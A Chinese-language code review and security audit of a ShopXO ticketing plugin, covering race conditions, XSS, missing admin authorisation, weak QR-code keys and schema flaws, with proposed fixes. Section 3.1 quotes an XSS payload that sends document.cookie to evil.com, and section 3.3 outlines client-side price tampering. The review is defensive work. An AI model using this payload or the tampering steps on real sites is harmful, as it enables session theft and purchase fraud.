vr-shopxo-plugin/reviews/code-review-BackendArchitec...

24 KiB
Raw Blame History

vr-shopxo-plugin 代码深度审议报告Round 2 终稿)

审议人BackendArchitect 日期2026-04-15 审议范围vr_ticket 插件全部核心代码EventListener.php、TicketService.php、BaseService.php、ticket_detail.html、001_vr_tables.sql、admin/controllers、plugin.json 视角Backend Architect / PHP / 数据库 / 架构完整性 / 并发安全


执行摘要

vr-shopxo-plugin 是一个基于 ShopXO 扩展的票务插件,功能链路覆盖:座位模板管理 → 用户选座购票 → 订单支付 → 电子票发放 → QR 码核销。经过逐文件审议,共发现5 个严重问题、7 个中等风险、4 个轻微缺陷、5 项改进建议

本报告与 SecurityEngineer 的安全审计报告高度互补——两者均独立识别了 onOrderPaid 幂等性缺失、verifyTicket TOCTOU 竞态、|raw XSS、QR 密钥硬编码回退等严重问题。本报告在此基础上补充了数据库 Schema 规范性Admin 接口鉴权缺口座位超卖机制缺失等架构层面的深度分析。


一、插件架构EventListener.php / plugin.json

1.1 Enable/Disable 生命周期钩子完全缺失 ⚠️ 严重

文件: EventListener.php / plugin.json

ShopXO 插件规范定义了完整的生命周期钩子,但当前实现仅覆盖 install 和 upgrade

钩子函数 状态 说明
vr_ticket_install() 已实现 建表、添加 item_type 字段
vr_ticket_uninstall() ⚠️ 空实现 仅 return true数据不清也不删
vr_ticket_upgrade() ⚠️ 空实现 无版本迁移框架
vr_ticket_enable() 缺失 插件启用时无响应
vr_ticket_disable() 缺失 插件停用时无响应

影响:

  • 启用插件后菜单/权限可能重复注册(重启 ShopXO 后)
  • 停用插件后 vr_tickets 等表数据残留在数据库,但插件状态不可见
  • plugin.json 中的 menus 注册依赖 ShopXO 自动加载,但无显式 enable/disable 控制

1.2 plugins_service_order_delete_success 钩子声明但未实现 ⚠️ 中等

文件: plugin.json:23-24

"hooks": [
    "plugins_service_order_pay_success_handle_end",
    "plugins_service_order_delete_success"  // 声明了但无处理函数
]

EventListener.php 中没有 vr_ticket_order_delete() 或类似函数。订单删除后,vr_tickets 表中的票记录仍保留(状态不变),导致:

  • 已删除订单的票仍可被核销入场
  • vr_tickets.order_id 成为孤儿记录,关联查询失效

1.3 ALTER TABLE 兼容性判断逻辑错误 ⚠️ 中等

文件: EventListener.php:100-103

$cols = $db->query("SHOW COLUMNS FROM `{$prefix}goods` LIKE 'item_type'");
if (empty($cols)) {
    $db->query("ALTER TABLE `{$prefix}goods` ADD COLUMN `item_type` ...");
}

$db->query() 在 ShopXO 中返回的是结果集对象PDOStatement 或 mysqli_result而非布尔值。empty($cols) 对对象始终返回 false导致条件永不成立,ALTER TABLE 永远不会被执行。也就是说 item_type 字段实际上从未被添加到 goods 表,isTicketGoods() 的第二条件 ($goods['item_type'] ?? '') === 'ticket' 永远无法触发。

实际应改为:

$col_exists = $db->query("SHOW COLUMNS FROM `{$prefix}goods` LIKE 'item_type'")->rowCount() > 0;
if (!$col_exists) { ... }

1.4 Upgrade 框架缺失 ⚠️ 建议

vr_ticket_upgrade($old_version) 为空实现。当前版本号 1.0.0 写死在 plugin.json若未来需要

  • 新增 refund_status 字段
  • 修改 QR payload 结构
  • 拆分 seat_map JSON schema

没有任何迁移路径。建议建立 vr_plugin_versions 表或迁移脚本目录。


二、票务核心TicketService.php / BaseService.php

2.1 onOrderPaid() 无幂等性保护,可导致重复发票 ⚠️ 严重

文件: TicketService.php:23-68

public static function onOrderPaid($params = []) {
    $order_id = $params['business_id'] ?? ($params['business_ids'][0] ?? 0);
    // ... 无任何幂等检查 ...
    foreach ($order_goods as $og) {
        $ticket_id = self::issueTicket($order, $og);
    }
}

ShopXO 的 plugins_service_order_pay_success_handle_end 钩子通过 HTTP 请求触发。在以下场景中,同一订单会触发多次 onOrderPaid

  1. 支付渠道重试机制:微信/支付宝网关在未收到回调确认时会重复发送通知
  2. 用户多设备操作:同一用户在手机和 PC 端同时查看订单状态
  3. ShopXO 多实例部署Nginx 负载均衡下两个 PHP-FPM 进程同时处理同一通知

攻击后果:同一张票可以被生成多次(ticket_code 不同,但 order_id + spec_base_id 相同),每张票都可独立入场核销,实际等同于免费多次入场

修复方案:

// 在 foreach 前增加幂等锁
$existing_tickets = \Db::name(BaseService::table('tickets'))
    ->where('order_id', $order['id'])
    ->column('spec_base_id', 'id');
if (!empty($existing_tickets)) {
    BaseService::log('onOrderPaid: already issued, skipping', ['order_id' => $order_id], 'info');
    return true;
}
// 已发放则跳过,未发放则继续发放

2.2 verifyTicket() TOCTOU 竞态条件 ⚠️ 严重

文件: TicketService.php:138-196

// Step 1: 读取票状态
$ticket = \Db::name(BaseService::table('tickets'))
    ->where('ticket_code', $ticket_code)
    ->find();

// Step 2: 判断状态(检查)
if ($ticket['verify_status'] == 1) { return ... }

// Step 3: 更新状态
\Db::name(BaseService::table('tickets'))
    ->where('id', $ticket['id'])
    ->update(['verify_status' => 1, 'verifier_id' => $verifier_id, ...]);

这是经典的 Time-of-Check to Time-of-Use (TOCTOU) 竞态。假设核销员 A 和 B 同时扫描同一张票:

时间 核销员 A 核销员 B
T1 SELECT 查到 verify_status=0
T2 SELECT 查到 verify_status=0
T3 UPDATE set verify_status=1 (成功)
T4 返回"核销成功" UPDATE set verify_status=1 (覆盖成功)
T5 返回"核销成功"

结果:同一张票被两个核销员成功核销,产生两条核销记录,入场人数统计翻倍。

修复方案(原子更新):

$affected = \Db::name(BaseService::table('tickets'))
    ->where('id', $ticket['id'])
    ->where('verify_status', 0)  // 原子条件:只有在状态仍为 0 时才更新
    ->update([
        'verify_status' => 1,
        'verify_time'   => $now,
        'verifier_id'   => $verifier_id,
        'updated_at'    => $now,
    ]);

if ($affected === 0) {
    // 说明已被其他人先一步核销
    $current = \Db::name(BaseService::table('tickets'))->find($ticket['id']);
    if ($current['verify_status'] == 1) {
        return ['code' => -2, 'msg' => '该票已核销'];
    }
    return ['code' => -3, 'msg' => '该票已退款'];
}

2.3 issueTicket() 二次写入时序问题 ⚠️ 中等

文件: TicketService.php:96-126

// 第一次写入QR payload 中 id=0
$ticket_id = \Db::name(...)->insertGetId([
    'qr_data' => BaseService::encryptQrData([
        'id'   => 0,   // 占位
        'code' => $ticket_code,
        ...
    ]),
    ...
]);

// 第二次写入:用真实 ticket_id 重新加密
if ($ticket_id > 0) {
    $qr_payload['id'] = $ticket_id;
    $qr_data_updated = BaseService::encryptQrData($qr_payload);
    \Db::name(...)->where('id', $ticket_id)->update(['qr_data' => $qr_data_updated]);
}

在两次写入之间,数据库中存储的是 id=0 的无效 QR payload。如果核销接口在这段时间被调用极端低概率但存在decryptQrData 会返回 id=0 的数据,与真实票记录产生不一致。

根本原因:依赖插入后自增 ID而非使用预生成的 UUID 作为 QR payload 的主键标识。

修复方案:在调用 insertGetId 前就生成内部关联 UUID

$internal_ref = BaseService::generateUuid(); // 预生成
$qr_payload['ref'] = $internal_ref;
$ticket_id = \Db::name(...)->insertGetId([...]);
// 无需二次更新

2.4 getQrCodeUrl() 明文暴露票码 ⚠️ 中等

文件: TicketService.php:220-228

public static function getQrCodeUrl($ticket_code) {
    $content = base64_encode(json_encode([
        'type' => 'vr_ticket',
        'code' => $ticket_code,  // 未经加密,直接 base64
    ]));
    return ROOT_URL . '?s=index/qrcode/index&content=' . urlencode($content) ...
}

QR 码内容仅为 base64(json_encode({type, code}))无需任何解密即可读出 ticket_code。这意味着:

  1. 票码可枚举:攻击者扫描 QR 码或抓包获取 URL 后,可提取 ticket_code 并尝试批量核销
  2. 隐私泄露:任何人拿到 QR 码图片后,无需破解加密即可获取票码
  3. 重放攻击QR URL 无时间戳或一次性验证,可被截图复用

修复方案QR URL 应包含加密 payload

// 不暴露明文 code
$qr_data = BaseService::encryptQrData([
    'code'  => $ticket_code,
    'event' => $goods_id,
    'seat'  => $seat_info,
]);
return ROOT_URL . '?s=index/qrcode/index&content=' . urlencode($qr_data);

2.5 AES-256-CBC 无 HMAC 可检测密文篡改 ⚠️ 中等

文件: BaseService.php:56-60

$iv = random_bytes(16);
$encrypted = openssl_encrypt($payload, 'AES-256-CBC', $secret, OPENSSL_RAW_DATA, $iv);
return base64_encode($iv . $encrypted);  // 无 HMAC

AES-CBC 模式下,如果攻击者修改密文的某个字节,解密后的 padding 可能看起来有效CBC 特性导致错误传播到下一块,但最终 JSON 解码可能恰好成功)。更现实的场景是:中间人修改 exp 时间戳使票"永不过期"

修复方案AEAD 模式,推荐):

// 使用 AES-GCMAES-256-GCM自动包含认证标签
$encrypted = openssl_encrypt($payload, 'AES-256-GCM', $secret, OPENSSL_RAW_DATA, $iv, $tag);
return base64_encode($iv . $encrypted . $tag);

2.6 getQrSecret() 硬编码默认值回退 ⚠️ 严重

文件: BaseService.php:98-107

private static function getQrSecret() {
    $secret = env('VR_TICKET_QR_SECRET', '');
    if (!empty($secret)) {
        return $secret;
    }
    return config('shopxo.app_key', 'shopxo_default_secret_change_me');
}

三个问题:

  1. env() 在 PHP 中取值依赖 getenv()ShopXO 环境变量机制未必与标准 Laravel 一致
  2. 'shopxo_default_secret_change_me' 是明确的已知默认值,若环境变量读取失败(配置错误),系统以不安全密钥运行
  3. 未验证密钥长度是否满足 AES-256 要求32 字节)

修复方案: 环境变量缺失时主动抛出异常,而非静默回退:

private static function getQrSecret() {
    $secret = env('VR_TICKET_QR_SECRET', '');
    if (empty($secret)) {
        throw new \RuntimeException('[vr_ticket] VR_TICKET_QR_SECRET must be set. QR codes are not secure without a dedicated secret key.');
    }
    if (strlen($secret) < 32) {
        throw new \RuntimeException('[vr_ticket] VR_TICKET_QR_SECRET must be at least 32 characters for AES-256.');
    }
    return $secret;
}

三、前端票务详情页ticket_detail.html

3.1 {$goods.simple_desc|raw} 直接输出 HTML 导致 XSS ⚠️ 严重

文件: ticket_detail.html:125

<div class="vr-event-subtitle">{$goods.simple_desc|default=''|raw}</div>

simple_desc 来自商品表字段,由商家后台输入。{|raw} 完全绕过 ThinkPHP 的自动 HTML 转义。攻击者在商品副标题输入:

<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">

即可窃取任意访问商品页用户的 session cookie。

3.2 {$goods.content|raw} 商品详情富文本 XSS ⚠️ 严重

文件: ticket_detail.html:164

<div class="goods-detail-content">{$goods.content|raw}</div>

goods.content 通常为商家编辑的富文本(包含图片、样式),{|raw} 等同于信任所有内容。虽然这是 ShopXO 标准做法,但 VR 票务插件独立使用此模板,放大了风险面。若 ShopXO 后台的内容过滤器存在绕过,此处直接受影响。

3.3 购票参数全由客户端计算,无服务端验签 ⚠️ 严重

文件: ticket_detail.html:384-422

submit: function() {
    var goodsParams = JSON.stringify([{
        goods_id: this.goodsId,
        spec_base_id: this.sessionSpecId,
        stock: this.selectedSeats.length,  // JS 计算
        extension_data: extensionData       // JS 构造,含价格
    }]);
    location.href = checkoutUrl + '&goods_params=' + encodeURIComponent(goodsParams);
}

攻击路径:

  1. 用户选择票价 ¥680 的座位
  2. 在浏览器 DevTools 中将 stock 改为 0,或将价格相关参数改为 1
  3. 跳转到结算页时携带修改后的 goods_params
  4. 服务端未重新校验价格,直接使用参数创建订单

这是价格篡改漏洞的典型客户端绕过。ShopXO 的标准商品流程有服务端价格校验,但此插件扩展了 extension_data 机制,若 ShopXO 内核未对此字段验签,则完全由前端控制。

3.4 seatInfo.classes 直接插入 HTML class 属性 ⚠️ 中等

文件: ticket_detail.html:271

rowsHtml += '<div class="vr-seat '+(seatInfo.classes||'')+'" '+
    'data-label="'+rowLabel+(colIndex+1)+'排'+(colIndex+1)+'座" '+
    'onclick="vrTicketApp.toggleSeat(this)"></div>';

seatInfo.classes 来自 JSON 配置($vr_seat_template.seat_map若配置被攻击者篡改admin account 被入侵),可注入 " onclick="evil()" 破坏属性边界。不过由于这是商家后台操作的座位模板XSS 触发需要 admin 权限,风险较 simple_desc 低,但仍属于存储型 XSS 的潜在入口

3.5 loadSoldSeats() 完全未实现 ⚠️ 中等

文件: ticket_detail.html:370-378

loadSoldSeats: function() {
    // TODO: 从后端加载已售座位
    // $.get(this.requestUrl + '?s=plugins/vr_ticket/index/sold_seats', {...});
}

已售座位状态全部由前端维护在 soldSeats: {} 空对象中。这意味着:

  • 用户看不到哪些座位已被购买
  • 可能出现"选了座位但提交时被告知已售"的糟糕体验(乐观锁失败)
  • 座位超卖问题完全取决于 ShopXO 的 stock 机制,而非座位级别锁

3.6 renderSessions() 中 spec_base_id 赋值错误 ⚠️ 轻微

文件: ticket_detail.html:207

data-spec-base-id="'+spec.spec_id+'"  // 两次赋值为 spec_id

代码将 spec_id 同时赋给了 data-spec-iddata-spec-base-id,两者值相同。若 ShopXO 中 spec_idspec_base_id 是不同概念规格ID vs 规格基价ID则选座时传递给后端的是错误的 spec_base_id


四、数据库 Schema001_vr_tables.sql / EventListener.php

4.1 vr_tickets 缺少 spec_base_id 独立索引 ⚠️ 建议

文件: EventListener.php:60

KEY `idx_order_id` (`order_id`),
KEY `idx_user_id` (`user_id`),
KEY `idx_goods_id` (`goods_id`),
KEY `idx_verify_status` (`verify_status`)
-- 缺少 KEY `idx_spec_base_id` (`spec_base_id`)

spec_base_id 用于关联具体座位规格,但查询(如按 spec_base_id 查已售座位数)需要全表扫描。建议添加:

KEY `idx_spec_base_id` (`spec_base_id`)

4.2 vr_seat_templates.category_id UNIQUE 约束限制过死 ⚠️ 建议

文件: EventListener.php:31

UNIQUE KEY `uk_category_id` (`category_id`)

一个分类下只允许一个座位模板。若某演出分类需要支持多个场次(每个场次座位布局不同),必须复用同一模板或改代码。建议改为普通索引,或添加 event_date 等字段支持多模板。

4.3 vr_tickets.seat_info VARCHAR(255) 可能溢出 ⚠️ 轻微

文件: EventListener.php:47

座位信息(如"VIP区 A排 15座"若由多规格组合255 字符可能不足。建议改为 VARCHAR(500) 或 TEXT。

4.4 字符集混用 ⚠️ 轻微

EventListener.php 建表使用 utf8mb4_general_ciShopXO 官方表通常使用 utf8mb4_unicode_ci。混用 COLLATE 可能导致 JOIN 查询排序结果不一致。

4.5 缺少退款后自动更新票状态的处理 ⚠️ 中等

plugin.json 声明了 plugins_service_order_delete_success 钩子但无实现函数。更关键的是:退款成功后,vr_tickets.verify_status 不会被自动更新为 2已退款。这意味着已退款订单的票仍处于"未核销"状态,可能被再次使用(如果退款后又重新发放了票的话)。需要在 vr_ticket_order_refund_success() 钩子中处理票状态变更。


五、Admin 接口安全性

5.1 Verification.phpTicket.php 缺少权限校验 ⚠️ 中等

文件: admin/controller/Verification.php / admin/controller/Ticket.php

两个控制器均无 __construct() 或方法级别的权限检查(如 Auth::check())。任何已登录的 ShopXO 用户(甚至低权限角色)若知道路由 /plugins/vr_ticket/admin/ticket/verify,即可:

  • 查询所有票记录(包含手机号、身份证等敏感信息)
  • 手动核销任意票
  • 导出完整 CSV

建议在基类或 __construct() 中添加:

if (!AdminIsLogin() || !AdminIsAuth('vr_ticket')) {
    return view('', ['msg' => '无权限']);
}

5.2 export() 方法无权限和参数校验 ⚠️ 中等

文件: admin/controller/Ticket.php:134-164

public function export() {
    $goods_id = input('goods_id', 0, 'intval');
    $list = \Db::name('plugins_vr_tickets')->where($where)->order('id', 'desc')->select();
    ExportCsv($header, $data, 'vr_tickets_' . date('Ymd'));
}

无权限校验,无分页限制。若管理员批量导出所有票数据(包含手机号、身份证),导出的 CSV 文件本身成为数据泄露风险点。建议:

  • 增加权限校验
  • 导出时对敏感字段phone、id_card做部分遮蔽
  • 对导出操作记录审计日志

5.3 verify() 方法中 $verifier_id 由客户端控制 ⚠️ 中等

文件: admin/controller/Ticket.php:116-117

$verifier_id = input('verifier_id', 0, 'intval');
$result = \app\plugins\vr_ticket\service\TicketService::verifyTicket($ticket_code, $verifier_id);

verifier_id 直接取客户端参数传入,未校验该 ID 是否属于当前登录用户。这意味着:攻击者(哪怕只是普通 admin可以以任意核销员身份核销票,伪造核销记录,污染核销统计。

修复方案:

$current_verifier = \Db::name(BaseService::table('verifiers'))
    ->where('user_id', AdminUserId())
    ->find();
if (empty($current_verifier)) {
    return DataReturn('您未被授权为核销员', -1);
}
$verifier_id = $current_verifier['id']; // 用当前登录用户对应的核销员ID不信任客户端

六、安全性综合评估矩阵

# 严重度 类别 文件 问题
S-01 🔴 严重 业务逻辑 TicketService.php:23 onOrderPaid() 无幂等性,重复支付可发多张票
S-02 🔴 严重 XSS ticket_detail.html:125 {$goods.simple_desc|raw} 直接输出 HTML
S-03 🔴 严重 XSS ticket_detail.html:164 {$goods.content|raw} 富文本 XSS
S-04 🔴 严重 业务逻辑 ticket_detail.html:384 购票参数无服务端验签,价格可被篡改
S-05 🔴 严重 密钥管理 BaseService.php:106 getQrSecret() 硬编码默认回退密钥
M-01 🟡 中等 业务逻辑 TicketService.php:138 verifyTicket() TOCTOU 竞态,双核销员可同时核销
M-02 🟡 中等 加密 BaseService.php:56 AES-CBC 无 HMAC密文可被篡改
M-03 🟡 中等 隐私/枚举 TicketService.php:220 getQrCodeUrl() 明文 base64 暴露 ticket_code
M-04 🟡 中等 功能缺失 ticket_detail.html:370 loadSoldSeats() 未实现,座位图不显示已售座位
M-05 🟡 中等 兼容性 EventListener.php:100 empty($cols) 条件永不成立ALTER TABLE 从不执行
M-06 🟡 中等 鉴权 admin/controller/Ticket.php:116 verifier_id 来自客户端,可伪造核销身份
M-07 🟡 中等 鉴权 admin/controller/*.php Admin 控制器无权限校验
L-01 🟢 轻微 架构 EventListener.php Enable/Disable 钩子缺失
L-02 🟢 轻微 业务逻辑 EventListener.php 订单删除钩子声明但无处理函数
L-03 🟢 轻微 数据完整性 EventListener.php:47 seat_info VARCHAR(255) 可能溢出
L-04 🟢 轻微 规范 EventListener.php 字符集混用 general_ci vs unicode_ci
I-01 💡 建议 架构 EventListener.php upgrade() 空实现,无版本迁移框架
I-02 💡 建议 架构 TicketService.php:96 issueTicket() 二次写入时序问题(建议预生成 ref
I-03 💡 建议 安全 admin/controller/Ticket.php:134 导出 CSV 无敏感字段遮蔽
I-04 💡 建议 数据库 EventListener.php:31 category_id UNIQUE 约束限制多模板场景
I-05 💡 建议 性能 EventListener.php vr_tickets.spec_base_id 缺少独立索引

七、与 SecurityEngineer 报告的交叉评审

两份报告独立完成,发现高度一致,但也各有侧重:

一致确认的严重问题:

  • onOrderPaid() 幂等性缺失BackendArchitect §2.1 = SecurityEngineer S-01
  • verifyTicket() TOCTOU 竞态BackendArchitect §2.2 = SecurityEngineer S-02
  • |raw XSS 漏洞BackendArchitect §3.1-3.2 = SecurityEngineer M-03
  • QR 密钥硬编码回退BackendArchitect §2.6 = SecurityEngineer S-04

本报告独有发现:

  • Admin 接口鉴权缺失§5.1-5.3
  • verifier_id 客户端可控§5.2
  • ALTER TABLE 条件逻辑错误导致字段从未添加§1.3
  • seatInfo.classes 属性注入风险§3.4
  • renderSessions() 中 spec_base_id 赋值 bug§3.6
  • 数据库字符集混用§4.4

SecurityEngineer 报告独有发现:

  • vr_tickets.id_card 明文存储身份证的法律合规风险
  • plugins_service_order_delete_success 钩子处理逻辑缺失

八、整体评分与修复优先级

修复优先级

P0 — 上线前必须修复(漏洞可被直接利用):

  1. S-01onOrderPaid() 幂等性检查
  2. S-02/S-03移除 |raw 或改用 |htmlspecialchars
  3. S-04购票参数服务端验签/价格重算
  4. S-05移除硬编码默认密钥回退强制要求环境变量

P1 — 上线前强烈建议修复(业务逻辑风险): 5. M-01verifyTicket() 原子更新 6. M-06Admin 接口 verifier_id 鉴权 7. M-07Admin 控制器全局鉴权 8. M-05ALTER TABLE 逻辑修复

P2 — 近期迭代中修复: 9. M-02升级为 AES-GCM 10. M-03QR URL 使用加密 payload 11. M-04实现 loadSoldSeats() 12. I-01建立 upgrade 迁移框架

架构评分

维度 评分1-10 说明
架构完整性 7 Hook 链路清晰,但生命周期钩子不完整
并发安全 2 onOrderPaidverifyTicket 均存在竞态
输入安全 3 XSS 和客户端参数篡改均未防护
加密实现 6 AES-256-CBC 实现正确,但缺 HMAC 认证
数据库设计 6 字段合理,但缺索引和外键约束
Admin 接口安全 3 完全无鉴权,极易滥用
综合 4.5 核心链路可行,但安全加固工作量较大

九、结论

vr-shopxo-plugin 的核心业务逻辑链路设计合理,充分利用了 ShopXO 的 Hook 扩展机制,无需修改内核代码。然而,并发安全和接口鉴权是当前最薄弱的两环,分别对应"票务系统"最核心的两个安全属性:防重发防滥用

当前代码若直接部署在生产环境,至少存在以下可被直接利用的攻击面:

  1. 支付重试导致的一票多发(财务损失)
  2. 任意登录用户伪造核销员身份(核销统计失真)
  3. Admin 通过 XSS 窃取用户 cookie账户接管
  4. 购票价格前端篡改(低价购票)

建议在正式上线前完成所有 P0 和 P1 项修复,并建立包含渗透测试的发布前安全评审流程。


本报告由 BackendArchitect 独立完成,与 SecurityEngineer 的审计报告交叉印证。两份报告合并构成 vr-shopxo-plugin 的完整安全与架构评估。